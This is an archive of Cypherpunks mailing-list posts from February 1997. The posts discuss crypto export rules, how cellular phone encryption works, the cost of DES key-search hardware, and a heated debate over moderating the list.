I am well aware of the name recognition and reputation capital associated
with CP, still I believe it best to *kill the list*.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Mon, 3 Feb 1997 12:13:22 -0800 (PST)
Subject: Re: GAK cracking?
Message-ID: <199702032013.MAA01096@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Feb 1997, tmcghan@gill-simpson.com wrote:

> Just days after a U.S. graduate student cracked the most powerful
> computer encryption system allowed out of the country, the Commerce
> Department announced it would allow three companies to export an
> even stronger system. 

[snip]

> Companies said products with just 40-bit long keys, the old limit, 
> were too easy to crack. The approvals came just days after Ian Goldberg, a 
> graduate student at the University of California, cracked a message 
> encoded with a software key 40-bits long. 
> 
> The government did not name the companies given permission to export 
> stronger, 56-bit programs, but Glenwood, Md.,-based Trusted 
> Information Systems acknowledged that it was one of the three. 

Why does it not surprise me that TIS gets permission to export 56-bit (DES?) ?
They do key recovery (is it GAK?) They brag about government consulting. The
clients they will admit to having are listed on:
http://www.tis.com/docs/products/consulting/govt/govcon.html
and, purely unsubstantiated rumors here, but I've heard (seen) TIS, NSA, FBI 
and other  "friends" of ours all together in the same paragraph. Conspiracy?
Maybe... This is both good and bad.... yes, longer codes are now exportable,
but only to / by certain people?

I notice that the new cipher length is 56 bit...same size as DES? hopefully
that's just a coincidence (yeah, right) or maybe somebody's starting to see
the real world where people download pirate cryptosystems and says "so let's
export bigger ones and make a buck off it, too..." (yeah, right)


PLUR
chris
--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Rose <ggr@Qualcomm.com>
Date: Mon, 3 Feb 1997 07:25:52 -0800 (PST)
To: cryptography@c2.net
Subject: Re: PCS Encryption?
Message-ID: <199702031525.HAA26015@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Douglas C. Merrill" writes:
>At 03:30 PM 2/1/97 -0500, Steven Bellovin wrote:
>>And an illegal wiretap besides, most likely -- with a warrant, they could
>>simply put the tap at the base station.  The story may be true, but it
>>doesn't sound quite right to me.

It doesn't sound quite right to me either.

>Phil Karn is, of course, the expert on this -- I hope he'll chime in soon
>-- Phil, you out there??

I'm not Phil, but maybe I'll do.

The three different digital standards in North
America are TDMA, CDMA, and GSM (in NY and DC
only AFAIK).  Newer analog phones use at least
some of this, but I don't know much about them.
I'll ignore GSM. There is a fair bit of
commonality in the security of TDMA and CDMA
because of their use of the "Common Cryptographic
Algorithms". I like to think I'm only telling you
things which are in the "Interface Specification
for Common Cryptographic Algorithms Rev B.1".

CAVE is used as a hashing algorithm for a number
of purposes. Starting at the beginning (that's a
very good place to start... shut up Julie) it is
used to verify that the A-key programmed into the
phone is correct; the dealer or whoever puts in
26 digits, 20 of which are the A-key, and the
other 6 are a checksum calculated with CAVE, and
the Equipment Serial Number. (The ESN is always
used by CAVE -- I won't mention it again.) If
they agree, the phone buries the A-key very deep,
never to be seen again. (A_Key_Checksum,
A_Key_Verify)

>From time to time, but not very often, the network
and the phone create "Shared Secret Data"; they
start with a 56-bit random number and run CAVE on it and
the A-key. The resulting 128 bits is split into 
two 64-bit chunks called SSD_A and SSD_B. SSD_A is
used for authentication purposes only, while SSD_B
is used for the generation of keys for other
cryptographic stuff. (SSD_Generation, SSD_Update)

At various times, the base station authenticates
the phone by sending down a random challenge (32
bits); this is hashed by CAVE with some other
use-dependent data (not secret, but intended to
defeat replays) and SSD_A (either current or new,
depending on context) to form an 18-bit
signature. Since you only get one go to get it
right, 18 bits was deemed enough. Again depending
on context, the state of CAVE at the end of this
process may be saved for use later. (Auth_Signature)

The original intent seems to be that
Auth_Signature would happen at the beginning of
every call, but I don't think that is actually the
case. I'm not certain about the telephony end of
this stuff.

Now comes the encryption stuff. At the beginning
of each call, Key_VPM_Generation is called. (VPM
is Voice Privacy Mask.) This uses CAVE,
initialised to the saved state it had at the last
Auth_Signature, and SSD_B, to achieve two things;
it generates the CMEA key (64 bits), and it generates the
Voice Privacy Mask.

CMEA (Cellular Message Encryption Algorithm) is
used to encrypt bits of the signalling stuff over
the air, but never any end-user data. It is used
in different ways by the three standards, as they
have different message formats, but they all
(AMPS, TDMA, CDMA) use it.

The VPM is ignored by analog (I think). It is
constant for the entire call, and is XORed with
every frame for TDMA (cryptographically weak, as
you can XOR any two frames to cancel it out, but
since the frames are heavily compressed actually
getting anything from this is not trivial). CDMA
ignores all but the last 40 bits, which becomes
the initial "long code" for the PN (Psuedo-random
Noise) generator. This is a straightforward LFSR,
which again, is not cryptographically strong in
the face of known plaintext, but again, the input
is heavily compressed. More importantly, though,
for CDMA you need to have the long code before you
can easily sort out the signal from the noise
around it (it was originally developed from
anti-jamming technology), and since it has a
period of days before it repeats, the call will
probably be over...

The conclusion is that neither way of doing it is
truly cryptographically strong, but both are a lot
better than listening to Princess Di call Newt
"Squidgy" on a Radio Shack scanner.

Note, at this point, that neither the phone
industry or the NSA particularly cares about
end-user stuff being strong. The signalling
messages have a 64-bit key used much more
appropriately, and so cell-phone fraud is harder
to achieve.

>Many folks think that "digital = secure" because you can't use radio
>shack(TM) listening devices.  This much is true.  However, you *Can* build
>other devices to listen in, and computer hardware is so cheap it's almost
>feasible -- though I haven't built one...  

Or you can take the bits out of existing phones.

Greg.

Greg Rose               INTERNET: ggr@Qualcomm.com
Qualcomm Australia      VOICE:  +61-2-9743 4646   FAX: +61-2-9736 3262
6 Kingston Avenue       homepage.
Mortlake NSW 2137       35 0A 79 7D 5E 21 8D 47  E3 53 75 66 AC FB D9 45





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 3 Feb 1997 11:56:21 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: swiss buy centralized euro-smartcard system
Message-ID: <199702031956.LAA00517@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.hotwired.com/staff/pointcast/Features/1814.html

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Mon, 3 Feb 1997 12:11:06 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702032011.MAA00965@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>  So much for key escrow.

*ding!* we have a winner!

andrew





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 12:11:48 -0800 (PST)
To: Peter Hendrickson <pdh@best.com>
Subject: Re: Dissolving Choke Points
Message-ID: <199702032011.MAA01076@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


i do have unix (linux) and stuff, but i can't take a lot of subscribers
-- maybe 200-300 or so.

i actually wrote a proposal for a mailing list without a central control
point, with several advantages being impossibility of control, absense
of a single point of failure, and cryptographic verification of honesty 
of moderators.

if there is any interest, i will post it here.

igor

Peter Hendrickson wrote:
> 
> I was amused by the similarities of USG crypto policy and the
> moderation of the cypherpunks list.  Recently a number of new
> regulations were announced to go into effect by a certain date.
> Requests for comments were made after the policy was announced.  Many
> of us thought that was pretty sneaky.  I feel the same way about the
> moderation plan.
> 
> Moderation has been a failure.  I'm pretty good at filtering and I
> can sadly report that there is very little signal out there.
> 
> There are lessons to be learned here.  One is that censorship does
> not promote a stimulating and creative dialogue.  The cypherpunks list
> right now is about as interesting as hanging out by the 7-11.
> 
> Another lesson is the danger of choke points.  We can see how
> tempting it is for people to exercise their control.  Even John Gilmore
> was unable to restrain himself from involuntary social engineering
> experiments.  Who would we have considered to be more trustworthy?
> 
> Toad.com is a choke point, not just in terms of moderation but in
> terms of the rate at which it can distribute messages.  Let's
> replace it.
> 
> What we want are many machines carrying the cypherpunks list.  A
> message posted to any machine goes to all of the others.  Each
> machine sends messages to its subscribers only once.  Some of
> these machines should be across borders.
> 
> The mail loop and multiple posting problems are solved by observing
> the message IDs.
> 
> Fast implementation: use moderated mailing list software.  Put a
> filter in the .forward file of the "moderator" account which looks
> at the message ID and forwards the message if it hasn't been seen
> already.  The mailing list machines all subscribe each other.
> 
> I've been looking for a stable machine with a good net connection to
> do this.  I haven't found one.  However, if we have many machines
> sharing the load, the stability of any one unit is not as important
> because the list will survive multiple "hits".  Only the subscribers
> on one machine will be affected by having their messages delayed.
> This greatly reduces the work and responsibility for any one list
> operator.  (As John will attest, keeping a machine running 24 hours a
> day, 7 days a week, rain or shine, is a lot of work.)
> 
> Also, with multiple machines, each unit handles a small amount of the
> load.  This makes more machines available and has less impact on
> people's net connections.
> 
> Last I checked, there were about 1200 addresses on the mailing list at
> toad.com.  All we need are about 10 machines to take 120 subscribers
> each.  (This is a completely manageable load.)
> 
> Do you have a Unix machine on the Net?  Does it have sendmail and
> Perl?  Then you have all that it takes to participate.  Send me
> mail and I'll help you set it up.
> 
> Peter Hendrickson
> ph@netcom.com
> 
> P.S. I like and respect John and Sandy and I've learned a lot from
> both of them.  While basically well-intentioned, they just made a
> mistake in this instance.
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 12:11:16 -0800 (PST)
To: m5@vail.tivoli.com
Subject: Re: Fortune, 3 Feb
Message-ID: <199702032011.MAA01001@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:
> 
> Big article in Fortune about e-mail privace.  One little paragraph
> about encryption ("scrambling").  Fairly clue-free overall, but
> entertaining.
> 

I found the article to be extremely silly, although it was probably
useful for "management".

Anyway, computer security is an oxymoron.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 14:42:55 -0800 (PST)
To: Peter Hendrickson <cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702032242.OAA04567@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote:
>At 11:38 AM 2/3/1997, Lucky Green wrote:
>> I am well aware of the name recognition and reputation capital associated
>> with CP, still I believe it best to *kill the list*.
>
>If you don't like the list, why not unsubscribe?

That won't solve the problem. The list has become counterproductive. It is
impossible for other lists to provide a real forum for the discussion of
the topics that this list used to be about while CP still exists. At the
same time, CP has long stopped providing such a forum. CP is draining
energy from its subscribers and the cause. Kill it! Kill it now!



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 3 Feb 1997 14:45:39 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702032245.OAA04654@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Timothy C. May

With no false modesty I tried awfully hard to compose
substantive essays on crypto-political topics, often more than one per
day.
(Others did too, but they seem to be tapering off as well, leaving the
list
to be dominated by something called a "Toto," the "O.J. was framed!"
ravings of Dale Thorn, the love letters between Vulis and someone name
Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad
I'm
not reading the list in e-mail, and thus can easily avoid replying to
these
inanities...
..........................................


Your thoughtful contributions to the list are missed, Tim.   As soon as
I realized that you had left the list I suspected it had something to do
with its moderation.

However, I must protest the inclusion of Toto's posts as one of the
"inane".    His posts were intentionally formulated to cause to stand
out what was, indeed, inane -  as he said, to "hold up a mirror".    And
he continually decried the list experiment, pointing out the
philosophical contradiction of a moderated "anarchist" forum.

If the antidote to bad speech is more speech, then he certainly provided
some, although not on the level or style as yourself.   And you may say
that some of these posts are not worth replying to, but didn't I see you
respond to one of Dale's, regarding a photo of Jessica-the-pilot which
he keeps above his desk?

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Mon, 3 Feb 1997 14:56:33 -0800 (PST)
To: PADGETT@hobbes.orl.mmc.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199702032256.OAA04984@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A. Padgett Peterson P.E. Information Security apparently wrote:
> Have good reason to believe your estimate for a purpose built machine this
> year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not 
> be cheap chips but will be commecially available). Expect 400 arrays
> would be required to do DES in a day (average) but is a lot more
> achievable than the 65k postulated by the gang of nine.

I received a nice flyer in the mail the other day from "Chip Express"
(www.chipexpress.com, 800-95-CHIPX). They are offering Laser
Programmed Gate Arrays.  It appears to be a reasonable way to get some
Wiener chips built.  As I recall, the Wiener design required about
23,000 gates.  Their blurb had the following table in in:

  FPGA Gates  ASIC Gates  500 Units  1000 Units  5000 Units
    40,000      20,000      $77        $45         $10
   Not Avail   200,000     $176       $150         $82

So it appears that you can get 5000 Wiener key search chips build for
about $50K.  I'm not sure about the speed, but I wouldn't be surprised
if you could clock these at 50 MHz.  The Wiener design is pipelined
and searches one key per clock, so each chip could search 50e6 keys /
second.  50e6 * 5000 = 250e9 keys / second for $50K

Happy Hunting...

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 14:41:46 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Govt & cyberspace
Message-ID: <199702032241.OAA04535@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



DF raises the question of whether the IRS will be able to 
modernize in the lack of "intellectual capital" (i.e. brains).
This is actually a very interesting topic which I've not
seen a lot of analysis on elsewhere, but which I expect
to see a lot more in the future.

the basic issue is this: private industry is moving into
cyberspace at a lightening pace. yet the government is
painfully incapable of doing the same for reasons of bureacracy.
numerous articles have been documenting the inability of the
government to successfully pull of massive software and
hardware upgrade projects. 

I suspect it will only be a matter of time before this is
called a major "crisis" by politicians and milked for all
of its conceivable tax value. eeks.

I've seen a lot of articles about govt agencies in a 
computational crisis due to this problem. maybe someone
can come up with a cute tag item. "technology envy" maybe?
I read about how the FAA was trying to install a new flight
control system that's insanely over budget and lightyears
from a conceivable completion.

another *major* computation problem is the year 2000
crisis. private companies can barely get it together to
do the upgrading and investigation required to fix the
2000-flip problem. the government is even farther behind.
if there is going to be a year 2000 "crisis" due to the
millenium bug, I suspect much of it will be focused in
government agencies.

"tech envy"-- what impact is this going to have on our
government? it's becoming a huge issue. it may be a 
really great opportunity for a populist movement to
truly reform the government in the process of upgrading
their computers. I suspect that the "groupware" technology
that is just getting started will have major influence
in these areas. as private companies find increasingly
sophisticated ways of managing themselves, the obvious
question will arise, "why can't we have an efficient govt
when our private industries are"? the answer is, we
can!!

I've written about "electronic democracy" repeatedly. many
people object to the idea. but when it is phrased in terms
of groupware, it becomes more palatable. imagine a small
company humming along with its groupware application that
allows it to make company-wide decisions using a democratic
process. moreover, the software is robust and scales well.
why can't the same principles be scaled up, up, up? I predict
that they will be in a rather extraordinary revolution.

a new "velvet revolution"? comments anyone?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Mon, 3 Feb 1997 14:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Information Warfare
Message-ID: <199702032257.OAA05015@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The cypherpunks list has been under "attack" for some time.  How have
we managed it?  Very poorly in my view.

Some people have dismissed the idea that rogue governmental elements
are behind some of our problems.  Yet, there is no reason to rule
out this hypothesis.

The government has not always behaved well with regards to its
perceived enemies in the last few decades.  The FBI seems to
infiltrate everything - even churches!.  This is well documented.

The CIA has worked hard on disrupting various political movements of
which it did not approve using provocateurs and other conspiratorial
dirty tricks.  (I believe the FBI has, too, but I do not recall any
documentation offhand.)

We know that "Information Warfare" is the big thing in the defense
establishment right now.  It's all over their web pages.  We see
articles from the Kennedy School which seem to compare free speech
with disease. Etc. Etc.

We also believe that the things the Cypherpunks are interested in are
on the radar screen.  Maybe the Cypherpunks are, too.

Is it unreasonable to ask whether some people are getting funding to
experiment with disrupting "groups" like the Cypherpunks?  I can
easily picture people inventing all sorts of important sounding words
like "psy-op" for what is little more than rudeness.

Whatever the cause of the disruptions, the solutions are the same.

Most of the proposals I've been hearing have to do with controlling
the behavior of other cypherpunks and creating more structure.  This
is a mistake.

It's clear that even the definitions of "spam" and "flame" are hard to
nail down.  The next idea will be to moderate on the basis of content.
How will we decide what is content?  Clearly that's much too important
a question to leave to just one person.  What we need is a committee
to decide!  What's next?  Robert's Rules of Order?

All of this detracts from the work we have before us.  If you've ever
been involved with a non-profit organization, you will know that
enormous energy is spent on internal political scheming.  That's a
boring waste of time.

Let's go down a better path.  Let's think about the best way for each
cypherpunk to manage disruptions.  Please consider these suggestions:

1. Filter noise.

I filter based on origin.  If a kill file doesn't work, use a positive
filter to read messages only from people who are worthwhile.  It has
been suggested that this doesn't work because some people post
garbage, but also occasionally post something good.  There's gold in
the ocean, too.  Why don't we retrieve it?

If you don't want to manage a filter yourself, find somebody to do it
for you.  A number of people offer filtering services.

Remember that in an open forum, noise increases with signal.  The more
worthwhile and interesting threads are on the list, the more worthless
postings we are going to see, particlarly when people are consciously
disruptive.

2. Post signal.

Filters are useless when there is no signal.  Signal comes from
cypherpunks.  You are a cypherpunk.

3. Birds of a feather flock together.

When you respond to somebody, you mingle your on-line identity with
theirs.  Fly with the eagles.

Peter Hendrickson
ph@netcom.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 14:41:47 -0800 (PST)
To: Blanc Weber <cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702032241.OAA04539@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:15 PM -0800 2/3/97, Blanc Weber wrote:

>Your thoughtful contributions to the list are missed, Tim.   As soon as
>I realized that you had left the list I suspected it had something to do
>with its moderation.
>
>However, I must protest the inclusion of Toto's posts as one of the
>"inane".    His posts were intentionally formulated to cause to stand
>out what was, indeed, inane -  as he said, to "hold up a mirror".    And
>he continually decried the list experiment, pointing out the
>philosophical contradiction of a moderated "anarchist" forum.

Well, "Toto" wrote in a style I found hard to grasp, and his/her/its points
were often lost to me. But I was only scanning the list via the hks.net
archive site, and so may have missed the subtleties.

One way thoughtful posts get "absorbed" is when others quote them (or the
parts they like best, disagree with, etc.). This gives people a second or
third look. (And, of course, when one _replies_ to a post this is how it
gets read most carefully.)

I saw few people I respect a lot replying substantively to the posts of
some of these people who seemed to dominate the list in the last month, and
of course I myself did not reply to any of them, so whatever points they
were making were lost on me.

>If the antidote to bad speech is more speech, then he certainly provided
>some, although not on the level or style as yourself.   And you may say
>that some of these posts are not worth replying to, but didn't I see you
>respond to one of Dale's, regarding a photo of Jessica-the-pilot which
>he keeps above his desk?

Sure, but that was months ago. In any case, I didn't say Dale nor Toto nor
anyone else should be shunned; I posted when I felt like it.

Nor of course have I ever argued for censoring Toto or Dale or anyone else.
My point to Sandy was just that the new censorship policy was still clearly
letting a lot of crap^H^H^H^H "piffle" (a Sandy-used and hence
Sandy-approved synonym for "cr*p") through, and that certain folks were
issuing lots and lots of rants and raves.

Personally, I think "flames" are not the problem. Not flames from obviously
thoughtful folks who are angered or peeved about something. The "flames"
posted by bots--targetted at me, usually--were not especially helpful, but
I see nothing wrong with, say, Hallam-Baker flaming Bell. Or vice versa.
Flames and intense argument are often useful in explicating hard
subjects...and who can deny that Bell's ideas are controversial and may
generate intense opinions?

To expunge the list of Vulis' ASCII art and "Timmy May was born on a toilet
as the spawn of a dandruff-covered Armenian tchurka and his nekulturny
peasant mother" bot-generated insults we have apparently now gotten a list
where Lord Sandy apprises us that he almost rejected my long,
carefully-constructed essay because I committed the NewCyphepunk (TM) sin
of referring to Toto, Dale, Dimitri, and Nurgaine in unflattering ways.

Like I said, "fuck that."

Or, more politely, it's throwing the baby out with the bathwater. Not to
mention sending the strong message that "Even Cypherpunks gave up their
experiment with anarchy and now have a moderator deciding what the main
list is permitted to read."

Far too high a price to pay for the "comity" Sandy craves.

(And if Sandy wants comity and good cheer, let him either form his own list
or establish a filtered list just the way Blossom and Arachelian did.
Hijacking the list to reform it in his own image is dirty pool.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 14:57:04 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702032257.OAA05024@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



<* The mechanics of the announcement troubled me greatly. To be blunt, I was
<seething with anger. I was mightily annoyed to read that John had made a
<decision to appoint Sandy as his Moderator, with no discussion on the list.
<I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but
<I certainly know I was not. I feel that as one of the two or three
<founders, depending on how one is counting, and as a frequent contributor
<to the list since its inception, and so on, I (and others) should at least
<have been told of this plan. Better yet, have the plans discussed on the
<list, as some good ideas may have been generated.

hi timmy, a word to the wise: it amuses me that whenever I referred
to a cypherpunk "community" my eyebrows were flamed off, by people
who claimed there was no such thing. a community has certain properties,
many of which I believe the cypherpunks "crowd" has always lacked.

one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed
this out again and again. the cpunks believe that leadership is no
longer relevant in a digital society, somehow. the list is in the
shape it is in because of POOR LEADERSHIP.. neither you nor EH care
about what LEADERSHIP entails, or wish to exert the sacrifices that
it requires. hence, you have, and have always had, a LEADERSHIP VACUUM.
and now you are "mightily annoyed", "pissed off" etc. that as a
"founder" you were not consulted? you weren't consulted because you
weren't a leader in the true sense of the word. are you in or out?

imho leadership does not merely entail writing posts and having a
completely laissaiz fair attitude about every single issue under the
sun, particularly those of dear importance to the list, such as how
to deal with crappy signal to noise ratios, intentional provocateurs,
people who seem to have ulterior agendas, etc.

I think it is highly amusing for you to get a lesson about how your
views about "anarchy" really work out. what does this anarchy thing
mean, anyway? is someone else taking over the list your idea of
what is represented by anarchy?   imho anarchy is a power vacuum
in which the events which have transpired, and that you perceive
as unpalatable to say the least, are inevitable.

<I'll have more to say about my problems with how things were handled.
<Frankly, it smacked of the same kind of fait accompli decision John made
<with the unsubscribing of Vulis. While John had (and has) every legal right
<to do with his property as he wished, the effect was very negative. First,
<Vulis found other ways to post (duh). Second, the list was consumed with
<flames about this, many from Vulis, and many from others. Third,
<journalists (who love sizzle over substance any day of the week) lept into
<the fray with articles which gave Vulis the publicity he craved. Fourth, it
<sent a message to enemies of liberty that "Even the Cypherpunks have found
<it necessary to abandon their anarchic ways."

"enemies of liberty"? hee, hee. anarchy was not a practical way of
running the list, and never has been, and now that the REALITY of the 
situation is PROVING this to you in an inescapable existence proof,
you find it impossible to confront the obvious message. timmy, a little
tip: anarchy, as you seem to conceive it, doesn't scale well, 
and both usenet and the cypherpunks list are eminent evidence of this.

<(I'm well aware of the issues with pests like Vulis, who seek to destroy
<virtual communities like ours. But the solution John used did not work, and
<generated more crap. As you all should know, it was John himself who coined
<the wonderful saying, "The Net interprets censorship as damage and routes
<around it." A delicious irony.)

which should encourage people to understand that there is a subtle 
difference between censorship and moderation.. or does the distinction
elude you? is there a difference in your opinion? you have plenty
of financial resources to start a mailing list of your own, what makes
you think it would be any more orderly than the one that is being run
here? in fact, do you understand how "anarchy" and "order" are mutually
exclusive, now that your own reality is shouting it to you?

<* The proper solution to bad speech is more speech, not censorship.

ah, so everyone should post 5 messages to the list, instead of 1, and
those that are quite should post 3. quite an elegant solution. do you
see how the silly rhetoric fails to hold up in reality? when will you
get a clue about where your own views are really leading you?

<* OK, even given that John had decided to censor "his" list, what about his
<choice of Sandy Sandfort as the censor? 

"moderator"-- does the word mean anything to you?

<(I count Sandy as a friend, but I'm just being honest here. Sandy is just
<not a "Peter Neumann" (moderator of the "RISKS" list).

you were free to propose another  moderator. moderation is hard work.
it takes a lot of time. who volunteered other than sandy?

<* I would have had no problem had John announced that he was creating a new
<list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff.
<After all, both Eric Blossom and Ray Arachelian already offer just such
<lists, and more would not hurt.
<
<But by making the _main list_ the censored one, this skewed things
<considerably.

anyone is free to subscribe to any list they choose, including the unfiltered
one. how is the reality different than that which you write? are you suggesting
that people are too lazy to make a coherent choose on their own? who
are you to argue with what everyone themself chooses?

<* The decision to "moderate" (censor) the Cypherpunks list is powerful
<ammunition to give to our opponents, and Vulis is certainly gleeful that
<his fondest wishes have been realized. And it won't work. People are
<consuming even more bandwidth arguing the merits of John's decision, the
<traffic is presumably being slowed down by the need for Sandy to wade
<through the traffic and stamp "Approved" or "Rejected" on what he glances
<at, and people are "testing the limits" of what they can say and what they
<can't say.

what's a better solution, in your opinion, besides ignoring it all and
pretending there is no problem?

<In any case, my several years with the list have taken a huge amount of my
<time. Given the way this whole thing was handled, and the way the list is
<degenerating even further, it looks like it's good that I'm moving on to
<other things.

ah, quite convenient excuse to bail out when no elegant solution seems
possible. blame all the problems on faux-reasons rather than an opportunity
for soul-searching.

<- the decision to censor the list was made without any discussion on the
<list, without any discussion with at least some of the longterm core
<contributors, and was presented as a "fait accompli."

by their own construction, all insisted that everyone be treated 
identically on the list, and that no such distinction be made about
"longterm core contributors"


but thanks for showing up and clarifying your position, timmy. what
a tragedy not to routinely see your smiling face here. I for one
have "taps" playing on my computer whenever I read the list as
a suitable memorial to your past greatness. viva la cypherpunks!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Mon, 3 Feb 1997 14:57:49 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702032257.OAA05048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:12 PM 2/3/1997, Lucky Green wrote:
>At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote:
>>At 11:38 AM 2/3/1997, Lucky Green wrote:
>>> I am well aware of the name recognition and reputation capital associated
>>> with CP, still I believe it best to *kill the list*.

>> If you don't like the list, why not unsubscribe?

> That won't solve the problem. The list has become counterproductive. It is
> impossible for other lists to provide a real forum for the discussion of
> the topics that this list used to be about while CP still exists. At the
> same time, CP has long stopped providing such a forum. CP is draining
> energy from its subscribers and the cause. Kill it! Kill it now!

Who should do what to comply with your proposal?  Should John shut down
the list?  Are you asking everybody to unsubscribe?

I don't think "killing the list" is an option for you or anybody else.
The List transcends all domains.

Peter Hendrickson
ph@netcom.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 15:00:52 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Filling Power Vacuums
Message-ID: <199702032300.PAA05129@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



timmy writes:

<It's about "power grabs."
<
<You see, in any anarchic situation, where reliance on self-control and
<self-filtering is emphasized, there is always a _temptation_ for some to
<"fill the power vacuum" and grab power.

ah, so what's the solution?

<I learned in my years at Intel how easy it was to start bossing people
<around, and as I hired engineers and scientists, I built up quite a little
<empire. But I didn't like what it was doing to me, as it distanced me from
<the technology and also brought out "control freak" tendencies....I started
<worrying about how my people were using their time ("my" time), and I
<increasingly applied my own notions of what they should talk about and what
<were suitable topics for laboratory chatter. In other words, I became a
<censor. (Not a government censor, but a censor in the broader definition
<I've already cited.)

timmy, I encourage you to understand that leadership is not 
inherently evil. there are enlightened ways to lead people that
leave the group better as a whole. you just fell into the trap
of "negative leadership", the dark side of the force as you write.
imho, however, there is a light side of the force that still involves
leadership.

<(I accept the role hierarchies play in corporations. They can't be built
<with just people like me. They need leaders, controllers, power freaks,
<etc.

oops, a little bit of a glaring logical error there imho. leadership is not
equivalent to a hierarchy imho. admittedly, it often translates that
way. 

 But a virtual community like the Cypherpunks group is not such a
<heirarchical organization, and it needs few rules, leaders, etc. "We don't
<need no steenking leaders.")

yes, if you only want to be an ineffectual debate society with no
significant power whatseover.

